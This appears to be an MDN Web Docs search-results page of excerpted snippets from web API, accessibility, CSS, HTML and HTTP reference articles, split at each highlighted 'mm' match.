...rimresults is false. syntax var myinterimresult = myspeechrecognition.interimresults; myspeechrecognition.interimresults = false; value a boolean representing the state of the current speechrecognition's interim results. true means interim results are returned, and false means they aren't. examples this code is excerpted from our speech color changer example. ...
... draft ...
...And 3 more matches
SpeechRecognition.lang - Web APIs
recognition. if not specified, this defaults to the html lang attribute value, or the user agent's language setting if that isn't set either. syntax var mylang = myspeechrecognition.lang; myspeechrecognition.lang = 'en-us'; value a domstring representing the bcp 47 language tag for the current speechrecognition. examples this code is excerpted from our speech color changer example. ...
...cified, this defaults to the html lang attribute value, or the user agent's language setting if that isn't set either. syntax var mylang = myspeechrecognition.lang; myspeechrecognition.lang = 'en-us'; value a domstring representing the bcp 47 language tag for the current speechrecognition. examples this code is excerpted from our speech color changer example. ...
... draft ...
...And 3 more matches
SpeechRecognition.maxAlternatives - Web APIs
sets the maximum number of speechrecognitionalternatives provided per speechrecognitionresult. the default value is 1. syntax var mymaxalternativenumber = myspeechrecognition.maxalternatives; myspeechrecognition.maxalternatives = 2; value a number representing the maximum returned alternatives for each result. examples this code is excerpted from our speech color changer example. ...
...r of speechrecognitionalternatives provided per speechrecognitionresult. the default value is 1. syntax var mymaxalternativenumber = myspeechrecognition.maxalternatives; myspeechrecognition.maxalternatives = 2; value a number representing the maximum returned alternatives for each result. examples this code is excerpted from our speech color changer example. ...
... draft ...
...And 3 more matches
WebGLRenderingContext.makeXRCompatible() - Web APIs
syntax let makecompatpromise = webglrenderingcontext.makexrcompatible(); parameters none. ...
... syntax let makecompatpromise = webglrenderingcontext.makexrcompatible(); parameters none. return value a promise which successfully resolves once the webgl context is ready to be used for rendering webxr content. ...
...s main menu that offers an option to start the game in webxr mode. html the html for the buttons looks lke this: <button class="green button" type="button">start game</button> <button class="blue button use-webxr" type="button">start game (vr mode)</button> the first button starts the game, continuing to present the game onscreen as usual. the second button will be used to start the game in i
mmersive-vr mode. note the inclusion of a use-webxr class on the vr mode button. this is important, which we'll explore shortly. javascript the code that handles starting up graphics, switching to vr mode, and so forth looks like this: const outputcanvas = document.queryselector(".output-canvas"); const gl = outputcanvas.getcontext("webgl"); let xrsession = null; let usingxr = false; let currents...
...And 3 more matches
Writing WebSocket servers - Web APIs
a websocket server is nothing more than an application listening on any port of a tcp server that follows a specific protocol. the task of creating a custom server tends to scare people; however, it can be straightforward to implement a simple websocket server on your platform of choice. a websocket server can be written in any server-side progra
mming language that is capable of berkeley sockets, such as c(++), python, php, or server-side javascript. this is not a tutorial in any specific language, but serves as a guide to facilitate writing your own server. this article assumes you're already familiar with how http works, and that you have a moderate level of progra
mming experience. depending on language support, knowledge of tcp sockets may be required. the scope of this guide is to pre...
...will send a pretty standard http request with headers that looks like this (the http version must be 1.1 or greater, and the method must be get): get /chat http/1.1 host: example.com:8000 upgrade: websocket connection: upgrade sec-websocket-key: dghlihnhbxbszsbub25jzq== sec-websocket-version: 13 the client can solicit extensions and/or subprotocols here; see miscellaneous for details. also, co
mmon headers like user-agent, referer, cookie, or authentication headers might be there as well. do whatever you want with those; they don't directly pertain to the websocket. it's also safe to ignore them. in many co
mmon setups, a reverse proxy has already dealt with them. tip: all browsers send an origin header. you can use this header for security (checking for same origin, automatically allowi...
...n use this header for security (checking for same origin, automatically allowing or denying, etc.) and send a 403 forbidden if you don't like what you see. however, be warned that non-browser agents can send a faked origin. most applications reject requests without this header. if any header is not understood or has an incorrect value, the server should send a 400 ("bad request")} response and i
mmediately close the socket. as usual, it may also give the reason why the handshake failed in the http response body, but the message may never be displayed (browsers do not display it). if the server doesn't understand that version of websockets, it should send a sec-websocket-version header back that contains the version(s) it does understand. in the example above, it indicates version 13 of the...
...And 3 more matches
Inputs and input sources - Web APIs
eting and selection. motion-sensing controllers, which use accelerometers, magnetometers, and other sensors for motion tracking and targeting and may additionally include any number of buttons, joysticks, thumbpads, touchpads, force sensors, and so on to provide additional input sources for both targeting and selection. squeezable triggers or glove grip pads to provide squeeze actions. voice co
mmands using speech recognition. spatially-tracked articulated hands, such as haptic gloves can provide both targeting and squeeze actions, as well as selection if outfitted with buttons or other sources of selection actions. single-button click devices. gaze tracking (following the movements of the eye to choose targets). input sources each source of webxr input data is represented by an xrin...
...nd tracking system's origin and extends outward in the direction in which the controller is pointing. the ray extends outward in a direction defined by whatever platform and controller are being used, if that's defined; otherwise, the ray extends in the same direction the user is pointing in with their index finger, if it were currently outstretched. the third and final target ray mode is most co
mmonly found on mobile devices like smartphones and tablets. the screen mode indicates that the target ray is determined based on the user interacting with the webxr context by engaging with the screen in some way—most likely by the viewer tapping the screen or dragging the target ray around with their fingers. target ray space the xrspace used to describe the position and orientation of the tar...
...ontrols and buttons. the primary action is the action that is triggered when the user engages the main control element that serves a special purpose. there are currently two types of primary action: the primary action is the action which is activated when the user activates the primary or "select" input on their controller. this input may be a button, trigger, trackpad tap or click, a voice co
mmand, or special hand gesture, or possibly some other form of input. for example, on a hand controller with a trackpad that can be clicked on, a trigger control, as well as back and "menu" buttons, clicking the trackpad is likely to be the primary action. some controllers might have a button labeled "select." on a gamepad-style controller, the "a" button is likely to be the primary action. the pri...
...And 3 more matches
Using the alert role - Accessibility
description this technique demonstrates how to use the alert role and describes the effect it has on browsers and assistive technology. the alert role is used to co
mmunicate an important and usually time-sensitive message to the user. when this role is added to an element, the browser will send out an accessible alert event to assistive technology products which can then notify the user about it. ...
...ribes the effect it has on browsers and assistive technology. the alert role is used to co
mmunicate an important and usually time-sensitive message to the user. when this role is added to an element, the browser will send out an accessible alert event to assistive technology products which can then notify the user about it. the alert role is most useful for information that requires the user's i
mmediate attention, for example: an invalid value was entered into a form field the user's login session is about to expire the connection to the server was lost, local changes will not be saved because of its intrusive nature, the alert role must be used sparingly and only in situations where the user's i
mmediate attention is required. dynamic changes that are less urgent should use a less ...
...ent should do the following: expose the element as having an alert role in the operating system's accessibility api. fire an accessible alert event using the operating system's accessibility api if it supports it. assistive technology products should listen for such an event and notify the user accordingly: screen readers may interrupt current output (whether it's speech or braille) and i
mmediately announce or display the alert message. screen magnifiers may visually indicate that an alert occurred and what the alert text was. note: opinons may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: adding the role in the html code the snippet below shows how the ...
...And 3 more matches
ARIA: form role - Accessibility
unless you have a very good reason. the html <form> element is sufficient to tell assistive technologies that there is a form. description a form landmark identifies a region of content that contains a collection of items and objects that, as a whole, combine to create a form when no other named landmark is appropriate (e.g. main or search). using the <form> element will automatically co
mmunicate a section of content as a form landmark, if it is provided an accessible name. developers should always prefer using the correct semantic html element over using aria. use the html <form> element if possible. the <form> element defines a form landmark when it has an accessible name (e.g. aria-labelledby, aria-label or title). make sure to have a unique label on each form in a documen...
...board interactions no role specific keyboard interactions required javascript features onsubmit the onsubmit event handler handles the event raised when the form is submitted. anything that is not a <form> cannot be submitted, therefore you would have to use javascript to build an alternative data submission mechanism, for example with xmlhttprequest. ...
... specific keyboard interactions required javascript features onsubmit the onsubmit event handler handles the event raised when the form is submitted. anything that is not a <form> cannot be submitted, therefore you would have to use javascript to build an alternative data submission mechanism, for example with xmlhttprequest. ...
...And 3 more matches
Web accessibility for seizures and physical reactions - Accessibility
x epilepsy"—seizures occurring in response to a trigger. in the case of photosensitive epilepsy, seizures are triggered specifically by flashing lights, but other types of reflex epilepsies may be triggered by the act of reading, or by noises. patterns and images can also trigger epilepsy. the fact that static images may cause seizures and other disorders is documented in such articles as “ga
mma oscillations and photosensitive epilepsy”, where it is noted “certain visual images, even in the absence of motion or flicker, can trigger seizures in patients with photosensitive epilepsy” the epilepsy foundation, in its article, "shedding light on photosensitivity, one of epilepsy's most complex conditions" talks about static images and patterns. "static or moving patterns of discernable...
...o's web page on musicogenic seizures. seizures and epilepsy are not the same. in its article, "a revised definition of epilepsy" the epilepsy foundation notes that…"a seizure is an event and epilepsy is the disease involving recurrent unprovoked seizures." according to the epilepsy foundation's page "how serious are seizures?" , "sudden unexpected death in epilepsy (sudep) is likely the most co
mmon disease-related cause of death in with epilepsy. it is not frequent but it is a very real problem and people need to be aware of its risk". the point is, seizures most definitely can be and are fatal, and developers and designers are incredibly important to making the web a safer place for those with sensitivities to photosensitive or musicogenic triggers. seizures can be fatal, but even the ...
...ovides a list of triggers that may cause seizures in photosensitive people; here's an excerpt from that list: television screens or computer monitors due to the flicker or rolling images. certain video games or tv broadcasts containing rapid flashes or alternating patterns of different colors. intense strobe lights like visual fire alarms. natural light, such as sunlight, especially when shi
mmering off water, flickering through trees or through the slats of venetian blinds. certain visual patterns, especially stripes of contrasting colors. that same article continues that many factors must combine to trigger the photosensitive reaction. of note is that it includes the wavelength of light as a possible factor; wavelengths in the red part of the spectrum seem to be especially problema...
...And 3 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
t terms are often used to describe the same thing. "luminance" and "saturation" are particularly important to get right. for example, "saturation" is known as "chroma" in some circles. in others, "chroma" and "saturation" are two different concepts. the "l" in the hsl color space is sometimes referred to as "luminosity," other times as "lightness." even something seemingly simple like naming co
mmon colors can be open to debate. for example, the color "crimson red" may be described in hex values as #990000 by some and #dc143c by others. for the purposes of this document, we'll use terminlogy as it is defined in the w3c, in the css color module level 3 when working with color, it's important to know which "color space" you are working in, as different color spaces map to different measur...
...ing that rgb is hardware-oriented, reflecting the use of crts, and that rgb is non-intuitive. that said, hsl colors incorporate lightness, not luminance, and this is a significant consideration. note that in that same section of the css color module 3, there are algorigthms available to translate the hsl to rgb. newer technologies, such as opengl and direct3d incorporate support for the srgb ga
mma curve, although some articles for opengl reference use of rgba rather than srgb. webgl is usually in the rgba format; see an example of how it is used in "clearing with colors". where accessibility is concerned, however, standards and guidelines are currently written predominantly using the srgb color space, especially as it applies to color contrast ratios. in speaking specifically to relat...
...pon where they are, and what kind of screen they are using. the mdn document, ambient light events, describes an experimental technology worth watching; this technology would enable a web page to be aware of any change in the light intensity, and consquently, adjust the text accordingly. this would be a great boon to those with motor skills problems, or do not have the use of their hands. to su
mmarize, color is as much about human physiology and perception in the brain as it is the measurement of light coming from a computer screen. it's also important to understand that the ambient light environment affects the ability to perceive color and contrast. light, and its measurements, are linear, but human vision and human perception are not. color combinations contrast alone is not enough ...
...And 3 more matches
@font-face - CSS: Cascading Style Sheets
vided, specifying a font name to look for on the user's computer, and the user agent finds a match, that local font is used. otherwise, the font resource specified using the url() function is downloaded and used. ...
...possible to design content without being limited to the so-called "web-safe" fonts (that is, the fonts which are so co
mmon that they're considered to be universally available). the ability to specify the name of a locally-installed font to look for and use makes it possible to customize the font beyond the basics while making it possible to do so without relying on an internet connection. it's co
mmon to use both url() and local() together, so that the user's installed copy of the font is used if available, falling back to downloading a copy of the font if it's not found on the user's device. the @font-face at-rule may be used not only at the top level of a css, but also inside any css conditional-group at-rule. font mime types format mime type truetype font/tt...
... ...
...And 3 more matches
Using multi-column layouts - CSS: Cascading Style Sheets
mn-count and column-width. the column-count property sets the number of columns to a particular number. e.g., example 1 html <div id="col"> <p> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. </p> <p> ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat. </p> <p> duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </p> <p> excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum. </p> </div> css #col { column-count: 2; } result will display the content in two columns (if you're using a multi-colu...
...esired column width. if column-count is not also set, then the browser will automatically make as many columns as fit in the available width. example 2 html <div id="wid"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum </div> css #wid { column-width: 100px; } result the exact details are described in the css3 specification. in a multi-column block, content is automatic...
...ap, it is often convenient to use the shorthand columns. e.g. the css declaration column-width: 12em can be replaced by columns: 12em. example 3 html <div id="col_short"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum </div> css #col_short { columns: 12em; } the css declaration column-count: 4 can be replaced by columns: 4. example 4 html <div id="columns_4"> lore...
...And 3 more matches
attr() - CSS: Cascading Style Sheets
ferenced in the css. <type-or-unit> is a keyword representing either the type of the attribute's value, or its unit, as in html some attributes have implicit units. if the use of <type-or-unit> as a value for the given attribute is invalid, the attr() expression will be invalid too. if omitted, it defaults to string. the list of valid values are: keyword associated type co
mment default value string <string> the attribute value is treated as a css <string>. it is not reparsed, and in particular the characters are used as-is instead of css escapes being turned into different characters. an empty string. color <color> the attribute value is parsed as a hash (3- or 6-value hash) or a keyword. it must be a valid css ...
...e.g. 12.5em). if it is not valid, that is not a length or out of the range accepted by the css property, the default value is used. if the given unit is a relative length, attr() computes it to an absolute length. leading and trailing spaces are stripped. 0, or, if 0 is not a valid value for the property, the property's minimum value. em, ex, px, rem, vw, vh, vmin, vmax,
mm, cm, in, pt, or pc <length> the attribute value is parsed as a css <number>, that is without the unit (e.g. 12.5), and interpreted as a <length> with the specified unit. if it is not valid, that is not a number or out of the range accepted by the css property, the default value is used. if the given unit is a relative length, attr() computes it to an absolute length. leading a...
...ed if the associated attribute is missing or contains an invalid value. if not set, css will use the default value defined for each <type-or-unit>. ...
...And 3 more matches
font-family - CSS: Cascading Style Sheets
the font-family css property specifies a prioritized list of one or more font family names and/or generic family names for the selected element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. values are separated by co
mmas to indicate that they are alternatives. the browser will select the first font in the list that is installed or that can be downloaded using a @font-face at-rule. it is often convenient to use the shorthand property font to set font-size and other font related properties all at once. you should always include at least one generic family name in a font-family list, since there's no guarantee t...
...each font family is specified as either a <family-name> or a <generic-name> value. the example below lists two font families, the first with a <family-name> and the second with a <generic-name>: font-family: gill sans extrabold, sans-serif; values <family-name> the name of a font family. for example, "times" and "helvetica" are font families. font family names containing whitespace shou...
...aii 5-0, sans-serif; formal definition initial valuedepends on user agentapplies toall elements. ...
...And 3 more matches
font-weight - CSS: Cascading Style Sheets
the meaning of relative weights section below. bolder one relative font weight heavier than the parent element. note that only four font weights are considered for relative weight calculation; see the meaning of relative weights section below. <number> a <number> value between 1 and 1000, inclusive. higher numbers represent weights that are bolder than (or as bold as) lower numbers. certain co
mmonly used values correspond to co
mmon weight names, as described in the co
mmon weight name mapping section below. in earlier versions of the font-weight specification, the property accepts only keyword values and the numeric values 100, 200, 300, 400, 500, 600, 700, 800, and 900; non-variable fonts can only really make use of these set values, although fine-grained values (e.g. 451) will be tran...
...ly has more weights available, they are ignored for the purposes of relative weight calculation. ...
... inherited value bolder lighter 100 400 100 200 400 100 300 400 100 400 700 100 500 700 100 600 900 400 700 900 400 800 900 700 900 900 700 co
mmon weight name mapping the numerical values 100 to 900 roughly correspond to the following co
mmon weight names (see the opentype specification): value co
mmon weight name 100 thin (hairline) 200 extra light (ultra light) 300 light 400 normal (regular) 500 medium 600 semi bold (demi bold) 700 bold 800 extra bold (ultra bold) 900 black (heavy) 950 extra black...
...And 3 more matches
overflow-y - CSS: Cascading Style Sheets
es visible content is not clipped and may be rendered outside the padding box's top and bottom edges. hidden content is clipped if necessary to fit vertically in the padding box. no scrollbars are provided. clip like for hidden, the content is clipped to the element's padding box. the difference between clip and hidden is that the clip keyword also forbids all scrolling, including progra
mmatic scrolling. the box is not a scroll container, and does not start a new formatting context. if you wish to start a new formatting context, you can use display: flow-root to do so. scroll content is clipped if necessary to fit vertically in the padding box. browsers display scrollbars whether or not any content is actually clipped. (this prevents scrollbars from appearing or disappearing when...
...visible | hidden | clip | scroll | auto examples setting overflow-y behavior html <ul> <li><code>overflow-y:hidden</code> — hides the text outside the box <div id="div1"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </div> </li> <li><code>overflow-y:scroll</code> — always adds a scrollbar <div id="div2"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation...
...eprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </div> </li> <li><code>overflow-y:scroll</code> — always adds a scrollbar <div id="div2"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea co
mmodo consequat. duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. </div> </li> <li><code>overflow-y:visible</code> — displays the text outside the box if needed <div id="div3"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut enim ad minim veniam, quis...
...And 3 more matches
HTML5 Parser - Developer guides
de probably will not be affected by this change. scripts that serve racy code to firefox, perhaps while serving safe code to ie, will see a difference due to this change. firefox writes a warning to the javascript console when it ignores a call to document.write(). lack of reparsing prior to html5, parsers reparsed the document if they hit the end of the file within certain elements or within co
mments. for example, if the document lacked a </title> closing tag, the parser would reparse to look for the first '<' in the document, or if a co
mment was not closed, it would look for the first '>'. this behavior created a security vulnerability. if an attacker could force a premature end-of-file, the parser might change which parts of the document it considered to be executable scripts. in additi...
...y complex parsing code. with html5, parsers no longer reparse documents. this change has the following consequences for web developers: if you omit the closing tag for <title>, <style>, <textarea>, or <xmp>, the page will fail to be parsed. ie already fails to parse documents with a missing </title> tag, so if you test with ie, you probably don't have that problem. if you forget to close a co
mment, the page will most likely fail to be parsed. however, unclosed co
mments often already break in existing browsers for one reason or another, so it's unlikely that you have this issue in sites that are tested in multiple browsers. in an inline script, in order to use the literal strings <script, </script>, and <!--, you should prevent them from being parsed literally by expressing them as \u0...
...for one reason or another, so it's unlikely that you have this issue in sites that are tested in multiple browsers. in an inline script, in order to use the literal strings <script, </script>, and <!--, you should prevent them from being parsed literally by expressing them as \u003cscript,\u003c/script>, and \u003c!--. the older practice of escaping the string </script> by surrounding it with co
mment markers, while supported by html5, is problematic in cases where the closing co
mment marker is omitted (see preceding point). you can avoid such problems by using the character code for the initial '<' instead. (it is valid to use an escape character, e.g., <\/script>, but this strategy does not work for <script and <!--, because \s and \! are not valid javascript escapes; the character code s...
...And 3 more matches
Using HTML sections and outlines - Developer guides
ogy; it was never part of a final w3c specification. therefore the outline algorithm should not be used to convey document structure to users. authors are advised to use heading rank (h1-h6) to convey document structure. the html5 specification introduced several semantic sectioning elements to help organize the structure of documents. semantic sectioning elements are specifically designed to co
mmunicate structural meaning to browsers and other technologies interpreting the document on behalf of users, such as screen readers and voice assistants. semantic sectioning elements clarify the larger-scale structures within a document. they are intended to enhance the limited semantics of earlier versions of html, which included only the <div> tag as a generic mechanism for grouping related cont...
...ments. section elements in html5 html navigational element (<nav>) defines a section that contains navigation links that appear often on a site. you can have primary and secondary menus, but you cannot nest a <nav> element inside another <nav> element. html article element (<article>) defines a piece of self-contained content. it does not refer to the main content alone and can be used for co
mments and widgets. html section element (<section>) defines a section of a document to indicate a related grouping of semantic meaning. it makes sense to use the section element to provide extra context for the parent element. html aside element (<aside>) defines a section that, though related to the main element, doesn't belong to the main flow, like an explanation box or an advertisement. the a...
...><a href="#">secondary link</a></li> <li><a href="#">secondary link</a></li> </ul> </li> <li><a href="#">primary link</a></li> </ul> </nav> collection of links use the <nav> element only for site navigation menus. collections of links such as social media profiles or a blogroll should not be wrapped in the <nav> element. html elements in <nav> while list elements are co
mmon for navigation they are not required. you can use other elements such as <p>. article element the <article> element indicates self-contained content, meaning that if you removed all the other html except the <article> element, the content would still make sense to a reader. <article> <h1>how to become an mdn contributor</h1> <p> do you want to help protect the web?.... </p> </artic...
...And 3 more matches
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
, and seo. examples all headings the following code shows all the heading levels, in use. <h1>heading level 1</h1> <h2>heading level 2</h2> <h3>heading level 3</h3> <h4>heading level 4</h4> <h5>heading level 5</h5> <h6>heading level 6</h6> here is the result of this code: example page the following code shows a few headings with some content under them. ...
...because of this, it is important to not skip one or more heading levels. ...
... sectioning content can be labeled using a combination of the aria-labelledby and id attributes, with the label concisely describing the purpose of the section. this technique is useful for situations where there is more than one sectioning element on ...
...And 3 more matches
<dl>: The Description List element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...unteers. </dd> <!-- other terms and descriptions --> </dl> single term, multiple descriptions <dl> <dt>firefox</dt> <dd> a free, open source, cross-platform, graphical web browser developed by the mozilla corporation and hundreds of volunteers. </dd> <dd> the red panda also known as the lesser panda, wah, bear cat or firefox, is a mostly herbivorous ma
mmal, slightly larger than a domestic cat (60 cm long). </dd> <!-- other terms and descriptions --> </dl> multiple terms and descriptions it is also possible to define multiple terms with multiple corresponding descriptions, by combining the examples above. metadata description lists are useful for displaying metadata as a list of key-value pairs. <dl> <dt>name</dt> <dd>godzilla...
...bad practice and obscures the meaning of description lists. to change the indentation of a description term, use the css margin property. accessibility concerns each screen reader announces <dl> content differently. some screen readers, such as voiceover on ios, will not announce that <dl> content is a list. ...
...And 3 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
is no way to make it visible in the page's content. note: there is a live example below the following line of code — if it is working correctly, you should see nothing! <input id="prodid" name="prodid" type="hidden" value="xm234jq"> value a domstring representing the value of the hidden data you want to pass back to the server. events none. supported co
mmon attributes autocomplete idl attributes value methods none. note: the input and change events do not apply to this input type. hidden inputs cannot be focused even using javascript (e.g. hiddeninput.focus()). value the <input> element's value attribute holds a domstring that contains the hidden data you want to include when the form is submitted to the serve...
...or seen by the user via the user interface, although you could edit the value via browser developer tools. important: while the value isn't displayed to the user in the page's content, it is visible—and can be edited—using any browser's developer tools or "view source" functionality. do not rely on hidden inputs as a form of security. ...
...normally, the name attribute functions on hidden inputs just like on any other input. however, when the form is submitted, a hidden input whose name is set to _charset_ will automatically be reported with the value set to the character encoding used to submit the form. ...
...And 3 more matches
<input type="url"> - HTML: Hypertext Markup Language
submitted. the :valid and :invalid css pseudo-classes are automatically applied as appropriate to visually denote whether the current value of the field is a valid url or not. on browsers that don't support inputs of type url, a url input falls back to being a standard text input. value a domstring representing a url, or empty events change and input supported co
mmon attributes autocomplete, list, maxlength, minlength, pattern, placeholder, readonly, required and size idl attributes list, value, selectionend, selectiondirection methods select(), setrangetext() and setselectionrange(). value the <input> element's value attribute contains a domstring which is automatically validated as conforming to url syntax. more specific...
...rovide a default value for a url input box by setting its value attribute: <input id="myurl" name="myurl" type="url" value="http://www.example.com"> offering suggested values taking it a step farther, you can provide a list of default options from which the user can select by specifying the list attribute. this doesn't limit the user to those options, but does allow them to select co
mmonly-used urls more quickly. this also offers hints to autocomplete. the list attribute specifies the id of a <datalist>, which in turn contains one <option> element per suggested value; each option's value is the corresponding suggested value for the url entry box. <input id="myurl" name="myurl" type="url" list="defaulturls"> <datalist id="defaulturls"> <option value="https://developer...
... second, in the url input we set pattern to ".*\.myco\..*". this simple regula...
...And 3 more matches
<menu> - HTML: Hypertext Markup Language
this includes both list menus, which might appear across the top of a screen, as well as context menus, such as those that might appear underneath a button after it has been clicked. content categories flow content. if the element's children include at least one <li> element: palpable content. permitted content if the element is in the list menu state: flow content, or alternatively, zero or more occurrences of <li>, <script>, and <template>. ...
... label the name of the menu as shown to the user. used within nested menus, to provide a label through which the submenu can be accessed. must only be specified when the parent element is a <menu> in the context menu state. type this attribute indicates the kind of menu being declared, and can be one of two values. ...
...this value is the default if the attribute is missing. usage notes the <menu> and <ul> elements both represent an unordered list of items. ...
...And 3 more matches
<tr>: The Table Row element - HTML: Hypertext Markup Language
nt should be styled using css. to give a similar effect as the bgcolor attribute, use the css property background-color. charobsolete since html5 a domstring which sets the character to align the cells in each of the row's columns on (each row's centering that uses the same character gets aligned with others using the same character . typical values for this include a period (".") or co
mma (",") when attempting to align numbers or monetary values. if align is not set to char, this attribute is ignored. this attribute is not only obsolete, but was rarely implemented anyway. to achieve the same effect as the char attribute, set the css text-align property to the same string you would specify for the char property, such as text-align: ".". charoffobsolete since html5 a...
...order-bottom to the second row in the heading. why? because the heading is made of two rows that are spanned by some of the cells. that means there are actually two rows there; applying the style to the first row would not give us the expected result. the "joined" and "canceled" headers let's style these two header cells with green and red hues to represent the "good" of a new member and the "bu
mmer" of a canceled membership. thead > tr:last-of-type > th:nth-of-type(1) { background-color: rgb(225, 255, 225); } thead > tr:last-of-type > th:nth-of-type(2) { background-color: rgb(255, 225, 225); } here we dig into the last row of the table's header block and give the first header cell in it (the "joined" header) a greenish color, and the second header cell in it (the "canceled" header)...
...of-type(1) { background-color: rgb(225, 255, 225); } thead > tr:last-of-type > th:nth-of-type(2) { background-color: rgb(255, 225, 225); } here we dig into the last row of the table's header block and give the first header cell in it (the "joined" header) a greenish color, and the second header cell in it (the "canceled" header) a reddish hue. color every body other row differently it's co
mmon to help improve readability of table data by alternating row colors. let's add a bit of color to every even row: tbody > tr:nth-of-type(even) { background-color: rgb(237, 238, 242); } give the left-side header some style since we want the first column to stand out as well, we'll add some custom styling here, too. tbody > tr > th:first-of-type { text-align: left; background-color: rgb(...
...And 3 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
ting element like <notavideo>. a good general source of information on using html <video> is the video and audio content beginner's tutorial. styling with css the <video> element is a replaced element — its display value is inline by default, but its default width and height in the viewport is defined by the video being embedded. there are no special considerations for styling <video>; a co
mmon strategy is to give it a display value of block to make it easier to position, size, etc., and then provide styling and layout information as required. video player styling basics provides some useful styling techniques. detecting track addition and removal you can detect when tracks are added to and removed from a <video> element using the addtrack and removetrack events. however, these even...
...for the media; this allows the video to be watched regardless of which video codecs are supported by the browser. <!-- using multiple sources as fallbacks for a video tag --> <!-- 'elephants dream' by orange open movie project studio, licensed under cc-3.0, hosted by archive.org --> <!-- poster hosted by wikimedia --> <video width="620" controls poster="https://upload.wikimedia.org/wikipedia/co
mmons/e/e8/elephants_dream_s5_both.jpg" > <source src="https://archive.org/download/elephantsdream/ed_1024_512kb.mp4" type="video/mp4"> <source src="https://archive.org/download/elephantsdream/ed_hd.ogv" type="video/ogg"> <source src="https://archive.org/download/elephantsdream/ed_hd.avi" type="video/avi"> your browser doesn't support html5 video tag. </video> firs...
...a webm video using vp8 for its video and vorbis for audio. server support for video if the mime type for the video is not set correctly on the server, the video may not show or show a gray box containing an x (if javascript is enabled). if you use apache web server to serve ogg theora videos, you can fix this problem by adding the video file type extensions to "video/ogg" mime type. the most co
mmon video file type extensions are ".ogm", ".ogv", or ".ogg". to do this, edit the "mime.types" file in "/etc/apache" or use the "addtype" configuration directive in httpd.conf. addtype video/ogg .ogm addtype video/ogg .ogv addtype video/ogg .ogg if you serve your videos as webm, you can fix this problem for the apache web server by adding the extension used by your video files (".webm" is the m...
...And 3 more matches
Link types - HTML: Hypertext Markup Language
chive link to this one. for example, a blog entry could link to a monthly index page this way. note: although recognized, the singular archive is incorrect and must be avoided. <a>, <area>, <link> <form> author defines a hyperlink to a page describing the author or providing a way to contact the author. note: this may be a mailto: hyperlink, but this is not reco
mmended on public pages as robot harvesters will quickly lead to a lot of spam sent to the address. in that case, it is better to lead to a page containing a contact form. although recognized, the rev attribute on <a>, <area> or<link> elements with a link type of made is incorrect and should be replaced by the rel attribute with this link type. <a>, <area>, <link> <form> book...
...eplaced by the rel attribute with this link type. <a>, <area>, <link> <form> bookmark indicates that the hyperlink is a permalink for the nearest ancestor <article> element. if none, it is a permalink for the section that the element is most closely associated to. this allows for bookmarking a single article in a page containing multiple articles, such as on a monthly su
mmary blog page, or a blog aggregator. <a>, <area> <link>, <form> canonical from wikipedia, the free encyclopedia: canonical_link_element a canonical link element is an html element that helps webmasters prevent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization. <link> <a>, <area>, <form> ...
...erlink leads to the next resource of the sequence the current page is in. note: other link types related to linking resources in the same sequence are first, prev, last. <a>, <area>, <form>, <link> none. nofollow indicates that the linked document is not endorsed by the author of this one, for example if it has no control over it, if it is a bad example or if there is co
mmercial relationship between the two (sold link). this link type may be used by some search engines that use popularity ranking techniques. <a>, <area>, <form> <link> noopener instructs the browser to open the link without granting the new browsing context access to the document that opened it — by not setting the window.opener property on the opened window (it returns null...
...And 3 more matches
List of default Accept values - HTTP
documents the default values for the http accept header for specific inputs and browser versions. default values these are the values sent when the context doesn't give better information. note that all browsers add the */* mime type to cover all cases. this is typically used for requests initiated via the address bar of a browser, or via an html <a> element. ...
... text/html, application/xhtml+xml, image/jxr, */* opera text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 values for an image when requesting an image, like through an html <img> element, user-agent often sets a specific list of media types to be welcomed. user agent value co
